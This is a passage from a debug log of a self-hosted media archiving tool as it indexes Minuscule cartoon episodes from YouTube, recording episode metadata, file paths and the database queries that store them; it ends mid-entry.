\n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 340, "filename" => "/downloads/Miniscule Season 1/2019-08-20 Minuscule - Silence⧸Quiet (season 1)/Minuscule - Silence⧸Quiet (season 1) [7qxO1RKJUmo].mp4", "id" => "7qxO1RKJUmo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7qxO1RKJUmo", "playlist_index" => 124, "timestamp" => 1566297000, "title" => "Minuscule - Silence/Quiet (season 1)", "upload_date" => "20190820"} 00:53:45.598 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1819.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:45.599 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=954.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:45.601 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=954.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-20 10:30:00Z], 4] 00:53:45.707 [debug] QUERY OK source="media_items" db=104.7ms idle=956.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Silence/Quiet (season 1)", "dbbcca23-8519-4257-89e2-125abc8de01b", "7qxO1RKJUmo", 340, false, 4, "https://www.youtube.com/watch?v=7qxO1RKJUmo", 124, "/downloads/Miniscule Season 1/2019-08-20 Minuscule - Silence⧸Quiet (season 1)/Minuscule - Silence⧸Quiet (season 1) [7qxO1RKJUmo].mp4", false, false, false, [], 1, ~U[2019-08-20 10:30:00Z], ~U[2025-12-14 07:53:45Z], ~U[2025-12-14 07:53:45Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Silence/Quiet (season 1)", "7qxO1RKJUmo", 340, false, 4, "https://www.youtube.com/watch?v=7qxO1RKJUmo", "/downloads/Miniscule Season 1/2019-08-20 Minuscule - Silence⧸Quiet (season 1)/Minuscule - Silence⧸Quiet (season 1) [7qxO1RKJUmo].mp4", false, ~U[2019-08-20 10:30:00Z]] 00:53:45.708 [debug] QUERY OK source="sources" db=0.5ms idle=927.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:45.709 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=109.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:53:45.710 [debug] QUERY OK source="media_items" db=0.6ms idle=109.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89116] 00:53:45.710 [debug] Current batch of media processed. Will check again in 1000ms 00:53:46.711 [debug] Current batch of media processed. Will check again in 1000ms 00:53:47.712 [debug] Current batch of media processed. Will check again in 1000ms 00:53:48.713 [debug] Current batch of media processed. Will check again in 1000ms 00:53:49.714 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.33, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 339, "filename" => "/downloads/Miniscule Season 1/2019-08-06 Minuscule - Tenace⧸The Perserving one (season 1)/Minuscule - Tenace⧸The Perserving one (season 1) [f_E6J3mc8d4].mkv", "id" => "f_E6J3mc8d4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=f_E6J3mc8d4", "playlist_index" => 125, "timestamp" => 1565087405, "title" => "Minuscule - Tenace/The Perserving one (season 1)", "upload_date" => "20190806"} 00:53:49.715 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=926.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:49.716 [debug] QUERY OK source="sources" db=0.4ms idle=70.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:49.718 [debug] QUERY OK source="media_items" db=1.0ms idle=71.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-06 10:30:05Z], 4] 00:53:49.722 [debug] QUERY OK source="media_items" db=3.0ms idle=73.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Tenace/The Perserving one (season 1)", "2c83c987-1daf-45b8-87f2-4efa55a4c962", "f_E6J3mc8d4", 339, false, 4, "https://www.youtube.com/watch?v=f_E6J3mc8d4", 125, "/downloads/Miniscule Season 1/2019-08-06 Minuscule - Tenace⧸The Perserving one (season 1)/Minuscule - Tenace⧸The Perserving one (season 1) [f_E6J3mc8d4].mkv", false, false, false, [], 1, ~U[2019-08-06 10:30:05Z], ~U[2025-12-14 07:53:49Z], ~U[2025-12-14 07:53:49Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Tenace/The Perserving one (season 1)", "f_E6J3mc8d4", 339, false, 4, "https://www.youtube.com/watch?v=f_E6J3mc8d4", "/downloads/Miniscule Season 1/2019-08-06 Minuscule - Tenace⧸The Perserving one (season 1)/Minuscule - Tenace⧸The Perserving one (season 1) [f_E6J3mc8d4].mkv", false, ~U[2019-08-06 10:30:05Z]] 00:53:49.723 [debug] QUERY OK source="sources" db=0.3ms idle=77.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:49.723 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:53:49.725 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=7.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89117] 00:53:49.725 [debug] Current batch of media processed. Will check again in 1000ms 00:53:50.726 [debug] Current batch of media processed. Will check again in 1000ms 00:53:51.727 [debug] Current batch of media processed. Will check again in 1000ms 00:53:52.728 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 346, "filename" => "/downloads/Miniscule Season 1/2019-08-01 Minuscule - Top Départ⧸On Your Marks, Get Set.... (Season 1)/Minuscule - Top Départ⧸On Your Marks, Get Set.... (Season 1) [Ngrmr24JVzc].mp4", "id" => "Ngrmr24JVzc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Ngrmr24JVzc", "playlist_index" => 126, "timestamp" => 1564655400, "title" => "Minuscule - Top Départ/On Your Marks, Get Set.... (Season 1)", "upload_date" => "20190801"} 00:53:52.729 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1083.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:52.730 [debug] QUERY OK source="sources" db=0.3ms idle=1084.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:52.731 [debug] QUERY OK source="media_items" db=1.0ms idle=1085.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-01 10:30:00Z], 4] 00:53:52.734 [debug] QUERY OK source="media_items" db=2.2ms idle=1087.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Top Départ/On Your Marks, Get Set.... (Season 1)", "4d74e609-7b29-40da-bff5-3aa5779f06f2", "Ngrmr24JVzc", 346, false, 4, "https://www.youtube.com/watch?v=Ngrmr24JVzc", 126, "/downloads/Miniscule Season 1/2019-08-01 Minuscule - Top Départ⧸On Your Marks, Get Set.... (Season 1)/Minuscule - Top Départ⧸On Your Marks, Get Set.... (Season 1) [Ngrmr24JVzc].mp4", false, false, false, [], 1, ~U[2019-08-01 10:30:00Z], ~U[2025-12-14 07:53:52Z], ~U[2025-12-14 07:53:52Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Top Départ/On Your 